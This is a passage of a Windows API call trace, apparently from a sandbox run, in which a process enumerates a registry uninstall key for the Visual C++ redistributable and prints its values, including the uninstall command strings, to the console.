cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0151.195] GetConsoleOutputCP () returned 0x1b5 [0151.195] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0151.195] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0151.195] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0151.195] __iob_func () returned 0x7fefd702a80 [0151.195] _fileno (_File=0x7fefd702ab0) returned 1 [0151.195] _errno () returned 0x204bb0 [0151.195] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.195] _errno () returned 0x204bb0 [0151.195] GetFileType (hFile=0x50) returned 0x1 [0151.195] lstrlenW (lpString="REG_DWORD") returned 9 [0151.195] GetConsoleOutputCP () returned 0x1b5 [0151.195] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_DWORD", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0151.195] GetConsoleOutputCP () returned 0x1b5 [0151.195] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_DWORD", cchWideChar=9, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_DWORD", lpUsedDefaultChar=0x0) returned 9 [0151.195] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 9 [0151.195] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0151.195] __iob_func () returned 0x7fefd702a80 [0151.195] _fileno (_File=0x7fefd702ab0) returned 1 [0151.195] _errno () returned 0x204bb0 [0151.195] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.195] _errno () returned 0x204bb0 [0151.195] GetFileType (hFile=0x50) returned 0x1 [0151.196] lstrlenW (lpString=" ") returned 4 [0151.196] GetConsoleOutputCP () returned 0x1b5 [0151.196] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0151.196] GetConsoleOutputCP () returned 0x1b5 [0151.196] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0151.196] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0151.196] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0151.196] __iob_func () returned 0x7fefd702a80 [0151.196] _memicmp (_Buf1=0x3db630, _Buf2=0xff571458, _Size=0x7) returned 0 [0151.196] _vsnwprintf (in: _Buffer=0x3dbe50, _BufferCount=0x7ff, _Format="0x%x", _ArgList=0x29f690 | out: _Buffer="0x1") returned 3 [0151.196] _fileno (_File=0x7fefd702ab0) returned 1 [0151.196] _errno () returned 0x204bb0 [0151.196] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.196] _errno () returned 0x204bb0 [0151.196] GetFileType (hFile=0x50) returned 0x1 [0151.196] lstrlenW (lpString="0x1") returned 3 [0151.196] GetConsoleOutputCP () returned 0x1b5 [0151.196] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="0x1", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0151.196] GetConsoleOutputCP () returned 0x1b5 [0151.196] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="0x1", cchWideChar=3, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="0x1", lpUsedDefaultChar=0x0) returned 3 [0151.196] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 3 [0151.196] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0151.197] __iob_func () returned 0x7fefd702a80 [0151.197] _fileno (_File=0x7fefd702ab0) returned 1 [0151.197] _errno () returned 0x204bb0 [0151.197] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.197] _errno () returned 0x204bb0 [0151.197] GetFileType (hFile=0x50) returned 0x1 [0151.197] lstrlenW (lpString="\n") returned 1 [0151.197] GetConsoleOutputCP () returned 0x1b5 [0151.197] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0151.197] GetConsoleOutputCP () returned 0x1b5 [0151.197] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0151.197] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0151.197] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0151.197] GetProcessHeap () returned 0x3c0000 [0151.197] GetProcessHeap () returned 0x3c0000 [0151.197] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90) returned 1 [0151.197] GetProcessHeap () returned 0x3c0000 [0151.197] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3dee90) returned 0x6 [0151.197] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90 | out: hHeap=0x3c0000) returned 1 [0151.197] RegEnumValueW (in: hKey=0x5c, dwIndex=0xf, lpValueName=0x3d78d0, lpcchValueName=0x29f7e4, lpReserved=0x0, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0 | out: lpValueName="QuietUninstallString", lpcchValueName=0x29f7e4, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0) returned 0x0 [0151.197] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="QuietUninstallString", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0xd6) returned 0x0 [0151.197] GetProcessHeap () returned 0x3c0000 [0151.197] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0xd8) returned 0x3e1c70 [0151.197] GetProcessHeap () returned 0x3c0000 [0151.198] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3e1c70) returned 1 [0151.198] GetProcessHeap () returned 0x3c0000 [0151.198] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3e1c70) returned 0xd8 [0151.198] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="QuietUninstallString", dwFlags=0x1000ffff, pdwType=0x29f700, pvData=0x3e1c70, pcbData=0x29f780*=0xd6 | out: pdwType=0x29f700*=0x1, pvData="\"C:\\ProgramData\\Package Cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}\\VC_redist.x86.exe\" /uninstall /quiet", pcbData=0x29f780*=0xd4) returned 0x0 [0151.198] __iob_func () returned 0x7fefd702a80 [0151.198] _memicmp (_Buf1=0x3db630, _Buf2=0xff571458, _Size=0x7) returned 0 [0151.198] _vsnwprintf (in: _Buffer=0x3dbe50, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x29f690 | out: _Buffer=" ") returned 4 [0151.198] _fileno (_File=0x7fefd702ab0) returned 1 [0151.198] _errno () returned 0x204bb0 [0151.198] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.198] _errno () returned 0x204bb0 [0151.198] GetFileType (hFile=0x50) returned 0x1 [0151.198] lstrlenW (lpString=" ") returned 4 [0151.198] GetConsoleOutputCP () returned 0x1b5 [0151.198] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0151.198] GetConsoleOutputCP () returned 0x1b5 [0151.198] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0151.198] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0151.198] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0151.198] lstrlenW (lpString="QuietUninstallString") returned 20 [0151.198] __iob_func () returned 0x7fefd702a80 [0151.198] _fileno (_File=0x7fefd702ab0) returned 1 [0151.198] _errno () returned 0x204bb0 [0151.198] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.198] _errno () returned 0x204bb0 [0151.198] GetFileType (hFile=0x50) returned 0x1 [0151.198] lstrlenW (lpString="QuietUninstallString") returned 20 [0151.199] GetConsoleOutputCP () returned 0x1b5 [0151.199] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="QuietUninstallString", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0151.199] GetConsoleOutputCP () returned 0x1b5 [0151.199] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="QuietUninstallString", cchWideChar=20, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="QuietUninstallString", lpUsedDefaultChar=0x0) returned 20 [0151.199] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 20 [0151.199] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0151.199] __iob_func () returned 0x7fefd702a80 [0151.199] _fileno (_File=0x7fefd702ab0) returned 1 [0151.199] _errno () returned 0x204bb0 [0151.199] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.199] _errno () returned 0x204bb0 [0151.199] GetFileType (hFile=0x50) returned 0x1 [0151.199] lstrlenW (lpString=" ") returned 4 [0151.199] GetConsoleOutputCP () returned 0x1b5 [0151.199] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0151.199] GetConsoleOutputCP () returned 0x1b5 [0151.199] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0151.199] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0151.199] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0151.199] __iob_func () returned 0x7fefd702a80 [0151.199] _fileno (_File=0x7fefd702ab0) returned 1 [0151.199] _errno () returned 0x204bb0 [0151.199] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.200] _errno () returned 0x204bb0 [0151.200] GetFileType (hFile=0x50) returned 0x1 [0151.200] lstrlenW (lpString="REG_SZ") returned 6 [0151.200] GetConsoleOutputCP () returned 0x1b5 [0151.200] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0151.200] GetConsoleOutputCP () returned 0x1b5 [0151.200] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_SZ", lpUsedDefaultChar=0x0) returned 6 [0151.200] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 6 [0151.200] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0151.200] __iob_func () returned 0x7fefd702a80 [0151.200] _fileno (_File=0x7fefd702ab0) returned 1 [0151.200] _errno () returned 0x204bb0 [0151.200] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.200] _errno () returned 0x204bb0 [0151.200] GetFileType (hFile=0x50) returned 0x1 [0151.200] lstrlenW (lpString=" ") returned 4 [0151.200] GetConsoleOutputCP () returned 0x1b5 [0151.200] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0151.200] GetConsoleOutputCP () returned 0x1b5 [0151.200] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0151.200] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0151.200] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0151.201] __iob_func () returned 0x7fefd702a80 [0151.201] _fileno (_File=0x7fefd702ab0) returned 1 [0151.201] _errno () returned 0x204bb0 [0151.201] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.201] _errno () returned 0x204bb0 [0151.201] GetFileType (hFile=0x50) returned 0x1 [0151.201] lstrlenW (lpString="\"C:\\ProgramData\\Package Cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}\\VC_redist.x86.exe\" /uninstall /quiet") returned 105 [0151.201] GetConsoleOutputCP () returned 0x1b5 [0151.201] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\"C:\\ProgramData\\Package Cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}\\VC_redist.x86.exe\" /uninstall /quiet", cchWideChar=105, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 105 [0151.201] GetConsoleOutputCP () returned 0x1b5 [0151.201] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\"C:\\ProgramData\\Package Cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}\\VC_redist.x86.exe\" /uninstall /quiet", cchWideChar=105, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\"C:\\ProgramData\\Package Cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}\\VC_redist.x86.exe\" /uninstall /quiet", lpUsedDefaultChar=0x0) returned 105 [0151.201] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 105 [0151.201] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0151.201] __iob_func () returned 0x7fefd702a80 [0151.201] _fileno (_File=0x7fefd702ab0) returned 1 [0151.201] _errno () returned 0x204bb0 [0151.201] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.201] _errno () returned 0x204bb0 [0151.201] GetFileType (hFile=0x50) returned 0x1 [0151.201] lstrlenW (lpString="\n") returned 1 [0151.201] GetConsoleOutputCP () returned 0x1b5 [0151.201] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0151.201] GetConsoleOutputCP () returned 0x1b5 [0151.202] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0151.202] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0151.202] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0151.202] GetProcessHeap () returned 0x3c0000 [0151.202] GetProcessHeap () returned 0x3c0000 [0151.202] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3e1c70) returned 1 [0151.202] GetProcessHeap () returned 0x3c0000 [0151.202] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3e1c70) returned 0xd8 [0151.202] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3e1c70 | out: hHeap=0x3c0000) returned 1 [0151.202] RegEnumValueW (in: hKey=0x5c, dwIndex=0x10, lpValueName=0x3d78d0, lpcchValueName=0x29f7e4, lpReserved=0x0, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0 | out: lpValueName="UninstallString", lpcchValueName=0x29f7e4, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0) returned 0x0 [0151.202] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="UninstallString", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0xca) returned 0x0 [0151.202] GetProcessHeap () returned 0x3c0000 [0151.202] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0xcc) returned 0x3e1c70 [0151.202] GetProcessHeap () returned 0x3c0000 [0151.202] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3e1c70) returned 1 [0151.202] GetProcessHeap () returned 0x3c0000 [0151.202] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3e1c70) returned 0xcc [0151.202] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="UninstallString", dwFlags=0x1000ffff, pdwType=0x29f700, pvData=0x3e1c70, pcbData=0x29f780*=0xca | out: pdwType=0x29f700*=0x1, pvData="\"C:\\ProgramData\\Package Cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}\\VC_redist.x86.exe\" /uninstall", pcbData=0x29f780*=0xc8) returned 0x0 [0151.202] __iob_func () returned 0x7fefd702a80 [0151.202] _memicmp (_Buf1=0x3db630, _Buf2=0xff571458, _Size=0x7) returned 0 [0151.202] _vsnwprintf (in: _Buffer=0x3dbe50, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x29f690 | out: _Buffer=" ") returned 4 [0151.202] _fileno (_File=0x7fefd702ab0) returned 1 [0151.202] _errno () returned 0x204bb0 [0151.202] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.202] _errno () returned 0x204bb0 [0151.202] GetFileType (hFile=0x50) returned 0x1 [0151.202] lstrlenW (lpString=" ") returned 4 [0151.202] GetConsoleOutputCP () returned 0x1b5 [0151.203] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0151.203] GetConsoleOutputCP () returned 0x1b5 [0151.203] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0151.203] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0151.203] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0151.203] lstrlenW (lpString="UninstallString") returned 15 [0151.203] __iob_func () returned 0x7fefd702a80 [0151.203] _fileno (_File=0x7fefd702ab0) returned 1 [0151.203] _errno () returned 0x204bb0 [0151.203] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.203] _errno () returned 0x204bb0 [0151.203] GetFileType (hFile=0x50) returned 0x1 [0151.203] lstrlenW (lpString="UninstallString") returned 15 [0151.203] GetConsoleOutputCP () returned 0x1b5 [0151.203] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="UninstallString", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0151.203] GetConsoleOutputCP () returned 0x1b5 [0151.203] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="UninstallString", cchWideChar=15, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="UninstallString", lpUsedDefaultChar=0x0) returned 15 [0151.203] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 15 [0151.203] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0151.203] __iob_func () returned 0x7fefd702a80 [0151.203] _fileno (_File=0x7fefd702ab0) returned 1 [0151.203] _errno () returned 0x204bb0 [0151.204] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.204] _errno () returned 0x204bb0 [0151.204] GetFileType (hFile=0x50) returned 0x1 [0151.204] lstrlenW (lpString=" ") returned 4 [0151.204] GetConsoleOutputCP () returned 0x1b5 [0151.204] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0151.204] GetConsoleOutputCP () returned 0x1b5 [0151.204] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0151.204] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0151.204] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0151.204] __iob_func () returned 0x7fefd702a80 [0151.204] _fileno (_File=0x7fefd702ab0) returned 1 [0151.204] _errno () returned 0x204bb0 [0151.204] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.204] _errno () returned 0x204bb0 [0151.204] GetFileType (hFile=0x50) returned 0x1 [0151.204] lstrlenW (lpString="REG_SZ") returned 6 [0151.204] GetConsoleOutputCP () returned 0x1b5 [0151.204] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0151.204] GetConsoleOutputCP () returned 0x1b5 [0151.204] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_SZ", lpUsedDefaultChar=0x0) returned 6 [0151.204] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 6 [0151.204] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0151.205] __iob_func () returned 0x7fefd702a80 [0151.205] _fileno (_File=0x7fefd702ab0) returned 1 [0151.205] _errno () returned 0x204bb0 [0151.205] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.205] _errno () returned 0x204bb0 [0151.205] GetFileType (hFile=0x50) returned 0x1 [0151.205] lstrlenW (lpString=" ") returned 4 [0151.205] GetConsoleOutputCP () returned 0x1b5 [0151.205] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0151.205] GetConsoleOutputCP () returned 0x1b5 [0151.205] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0151.205] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0151.205] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0151.205] __iob_func () returned 0x7fefd702a80 [0151.205] _fileno (_File=0x7fefd702ab0) returned 1 [0151.205] _errno () returned 0x204bb0 [0151.205] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.205] _errno () returned 0x204bb0 [0151.205] GetFileType (hFile=0x50) returned 0x1 [0151.205] lstrlenW (lpString="\"C:\\ProgramData\\Package Cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}\\VC_redist.x86.exe\" /uninstall") returned 99 [0151.205] GetConsoleOutputCP () returned 0x1b5 [0151.205] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\"C:\\ProgramData\\Package Cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}\\VC_redist.x86.exe\" /uninstall", cchWideChar=99, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 99 [0151.205] GetConsoleOutputCP () returned 0x1b5 [0151.206] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\"C:\\ProgramData\\Package Cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}\\VC_redist.x86.exe\" /uninstall", cchWideChar=99, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\"C:\\ProgramData\\Package Cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}\\VC_redist.x86.exe\" /uninstall", lpUsedDefaultChar=0x0) returned 99 [0151.206] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 99 [0151.206] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0151.206] __iob_func () returned 0x7fefd702a80 [0151.206] _fileno (_File=0x7fefd702ab0) returned 1 [0151.206] _errno () returned 0x204bb0 [0151.206] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.206] _errno () returned 0x204bb0 [0151.206] GetFileType (hFile=0x50) returned 0x1 [0151.206] lstrlenW (lpString="\n") returned 1 [0151.206] GetConsoleOutputCP () returned 0x1b5 [0151.206] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0151.206] GetConsoleOutputCP () returned 0x1b5 [0151.206] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0151.206] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 